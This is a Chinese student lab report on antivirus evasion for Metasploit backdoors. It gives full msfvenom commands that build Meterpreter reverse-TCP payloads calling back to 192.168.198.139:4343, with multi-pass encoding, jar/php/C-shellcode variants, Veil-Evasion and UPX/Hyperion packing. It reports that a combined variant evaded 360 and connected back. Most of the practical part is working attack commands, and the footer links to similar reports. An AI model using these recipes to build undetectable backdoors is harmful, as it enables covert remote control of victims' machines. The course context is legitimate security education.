Exp3 免杀原理与实践 20164313
基础
AV厂商检测恶意软件的三种主流方式:
- 基于特征码的检测
- 启发式恶意软件检测
- 基于行为的恶意软件检测
实现免杀就是防止恶意软件被这是三种方式找到。具体手段为:
- 改变特征码
- 改变行为
- 非常规恶意软件
1.实践内容
首先把上一次实验中制作的后门20164313_backdoor.exe传至win10主机中,结果直接被360删了,影子都没:
添加信任。
再把恶意软件上传至virscan网站中扫描,结果如下:
好吧,把名字修改为DGX_backdoor.exe
果然,裸奔的后门还是很容易被查杀的(某些杀软真的菜的抠脚)。
1.1使用msf编码器编码
作为负责人还是给您们列出本次msf要使用的参数吧:
-a <arch> 设置目标的指令集架构,这里我们选择x86即可
-platform <platform>
设置目标平台,这里是windows,可以通过-l platforms
选项查看msfvenom支持的所有平台-p <payload> 设置攻击载荷,我们使用windows/meterpreter/reverse_tcp,可以通过-l payloads查看所有攻击载荷
-e <encoder> 指定编码器,我会组合使用不同的编码器,可以通过-l encoders查看所有编码器
-i <count> 指定编码迭代的次数
-f <format> 指定生成格式,可以是raw,exe,elf,jar,c语言的,python的,java的……,用-l formats查看所有支持的格式
作为负责人还是给你们列出本次的msf要使用的参数吧
我们尝试使用msf编码器对程序进行一次到多次的编码。
- 输入msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai LHOST= -f exe > DGX_backdoor1.exe 进行一次编码,然后按照实验二的步骤将软件传至win主机中。
一次编码后没有啥实质改变,多骗了一个引擎。
- 输入msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i LHOST=192.168.198.139 LPORT=4343 -f exe > DGX_backdoor10.exe 进行10次编码。
结果还是一样,照样被查杀。
1.2使用msfvenom生成如jar、raw之类的其他文件
- 输入msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i LHOST= -f jar > DGX_backdoorjava.jar ,生成java文件。
显示我的攻击载荷没有被生成。
输入 msfvenom -l payloads 查看攻击载荷。
随便选一个攻击载荷。
输入 msfvenom -a x86 --platform windows -p java/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i LHOST= -f jar > DGX_backdoorjava.jar 生成jar文件。
。。。。。。。。。。。。。。。。。。。。好吧,我改名。
只有12%了!!!
- 让我们再试试php格式,输入 msfvenom -a x86 --platform windows -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i LHOST= -f php > DGX_backdoorphp.php
警告我不正确的生成格式,好吧,那我们尝试一下raw的生成格式。
输入 msfvenom -a x86 --platform windows -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i LHOST= -f raw > DGX_backdoorphp.php
摔,警告我设置的目标平台与攻击载荷不兼容,得得得,我改。
输入 msfvenom -l platforms 查看msf支持目标平台。
输入 msfvenom -a x86 --platform php -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i LHOST= -f raw > DGX_backdoorphp.php
微笑,我看你就是故意刁难我!!!删了删了。
输入 msfvenom --platform php -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i LHOST= -f raw > DGX_backdoorphp.php
流下了激动的泪水。。。
emmm没问题才是最大的问题,据我的推测,应该是raw编码方式的问题,删了删了。
输入 msfvenom --platform php -p php/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i LHOST= x > DGX_backdoorphp.php
难道说,php的文件都是无毒无公害的有机文件,我不信,试试裸奔的php!!!
输入 msfvenom -p php/meterpreter/reverse_tcp lhost= x> DGX_backdoorphp.php
哈哈哈!果然不是免检产品,可能这么低的报错率主要是php用的人比较少吧,导致很少有黑客开发这类型的后门。
1.3veil-evasion
1。安装veil-evasion,网上有教程因此不再演示。
2.输入 veil 进入veil工具,再输入 use evasion 。
3.输入 list 查看可生成文件格式,输入 use 选择C语言格式。
4.输入 set LHOST 192.168.1.176 设置反弹IP端口;
输入 设置反弹连接端口;
输入 generate 生成文件;
输入 du4313 设置playload的名字;
生成成功,按照地址找到文件
-
emmm,看来还是不能免杀。
1.4使用shellcode编程
1.输入 msfvenom -p windows/meterpreter/reverse_tcp LHOST= -f c 使用c语言生成shellcode
2.生成du4313.c执行文件
3.输入 i686-w64-mingw32-g++ du4313.c -o du4313.exe 生成可执行的后门程序。
迅速删除。。。
1.5 加壳工具
1.压缩壳
输入 upx du4313.exe -o du4313-upx.exe 给文件加壳
emmm坚持了5分钟360不报毒
网站报毒
2.加密壳Hyperion
将文件拷贝到/usr/share/windows-binaries/hyperion/目录中
输入 cd /usr/share/windows-binaries/hyperion/ 进入目录
输入 wine hyperion.exe -v du4313.exe du4313-hyperion.exe 生成加壳文件。
360报毒
1.6通过组合应用各种技术实现恶意代码免杀
1.使用msfvenom生成原始文件dgx-backdoor-v1.exe
2.使用msfvenom对攻击载荷多重编码,先用shikata_ga_nai编码20次,接着来10次alpha_upper编码,再来10次的countdown编码,生成可执行文件dgx-backdoor-v2.exe
3.生成shellcode
4.参考网站 https://www.freebuf.com/articles/system/100147.html 生成dgx-backdoor-v4
360扫描出v2和v3没能扫出v4。
1.7 用另一电脑实测,在杀软开启的情况下,可运行并回连成功
2.基础问题回答
(1)杀软是如何检测出恶意代码的?
答:AV厂商检测恶意软件的三种主流方式:
- 基于特征码的检测
- 启发式恶意软件检测
- 基于行为的恶意软件检测
(2)免杀是做什么?
答:通过特殊方法如加壳,编码,手工编写等方式使杀毒软件无法查杀。
(3)免杀的基本方法有哪些?
答:改变特征码、改变行为、加壳、手工修改等。
3.实践总结与体会
答:这次实验还是比以往的实验有难度也更有意思了,学习了各种免杀的方式,虽然对于实时更新的杀软企业来说还是很小儿科,但还是学到了很多东西。
4. 开启杀软能绝对防止电脑中恶意代码吗?
答:不能,世界上就没有绝对二字,杀软企业实时更新自己的病毒库,但是网络中病毒的数量也在每日递增,总会有漏洞出现,比如这次我使用的漏洞是2016年发现的,但是至今仍然没被修补。
Exp3 免杀原理与实践 20164313的更多相关文章
- 2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165232 Exp3 免杀原理与实践 免杀原理及基础问题回答 一.免杀原理 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. ...
- 2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165237 Exp3 免杀原理与实践 一.实践目标 1.1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,加壳 ...
- 2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165221 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 主要依托三种恶意软件检测机制. 基于特征码的检测:一段特征码就是一段或者多 ...
- 2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165325 Exp3 免杀原理与实践 实验内容(概要) 一.正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践
- 2018-2019-2 网络对抗技术 20165206 Exp3 免杀原理与实践 - 实验任务 1 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己 ...
- 2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践
2018-2019-3 网络对抗技术 20165235 Exp3 免杀原理与实践 基础问题回答 杀软是如何检测出恶意代码的? 1.对某个文件的特征码进行分析,(特征码就是一类恶意文件中经常出现的一段代 ...
- 2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165311 Exp3 免杀原理与实践 免杀原理及基础问题回答 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil- ...
- 2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165317 Exp3 免杀原理与实践 实验内容 任务一:正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用 ...
- 2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践
2018-2019-2 网络对抗技术 20165225 Exp3 免杀原理与实践 一.实验说明 1.1 正确使用msf编码器(0.5分),msfvenom生成如jar之类的其他文件(0.5分),vei ...
随机推荐
- 2.7 while 、for 循环控制语句
一.while语句: 在程序中,需要重复性的做某件事: 1.1.1 while: public class Test{ public static void main(String[] args){ ...
- 我的代码-unsupervised learning
# coding: utf-8 # In[1]: import pandas as pdimport numpy as npfrom sklearn import treefrom sklearn.s ...
- Python3 与 Python2 的不同
1. Python3中的字典,删除了has_key(key)的方法. Python2: if result.has_key(middle_s) != None result[middle_s] = 1 ...
- JS如何充分“压榨”浏览器
不同浏览器厂商实现的 JS 标准有所不同,这意味着 window 对象和可用的 api 也有所不同,希望不久的将来,所有浏览器都能实现统一的 JS 标准. 自己写 api 是很耗费时间跟精力的,而且变 ...
- 简述iproute家族命令
ifconfig 是用来查看.配置.启用或禁用网络接口的工具.可以用这个工具来临时配置网卡的IP地址.掩码.广播地址.网关等. 语法 ifconfig [interface] 参数 up 启动指定网络 ...
- 软件开发者路线图梗概&书摘chapter7
软件工程是一门技艺 原因:理解不足以系统化 技能:为交付可以工作的软件 重要的原因:了解不足以将它写成可供别人直接运用并得到相同成果的格式 大多数程序员低于平均水平 工艺:一套高度重视技能的训练和传统 ...
- MongoDB连接
1. import pymongo client = pymongo.MongoClient(host='localhost',port=27017) 2. client=MongoClient('m ...
- PythonStudy——生成器
# 生成器:自定义的迭代器对象 # -- 就是用函数语法来声明生成器,用yield关键字取代return关键字来返回值,参数没有多少变化 # 总结:有yield关键字的函数,函数名() 不是调用函数, ...
- 左耳听风-ARTS-第2周(2019/3/31-2019/4/6)
Algorithm 验证括号题(https://leetcode.com/problems/valid-parentheses/).这道题在极客时间上覃超的<算法面试通关40讲>(http ...
- Java泛型相关总结(上)
最近在看<Java核心技术>泛型相关的部分,总结下. 泛型程序设计是什么? 泛型编程(generic programming)是计算机编程中的一种风格,类型通过参数指定.意味着编写的代码可 ...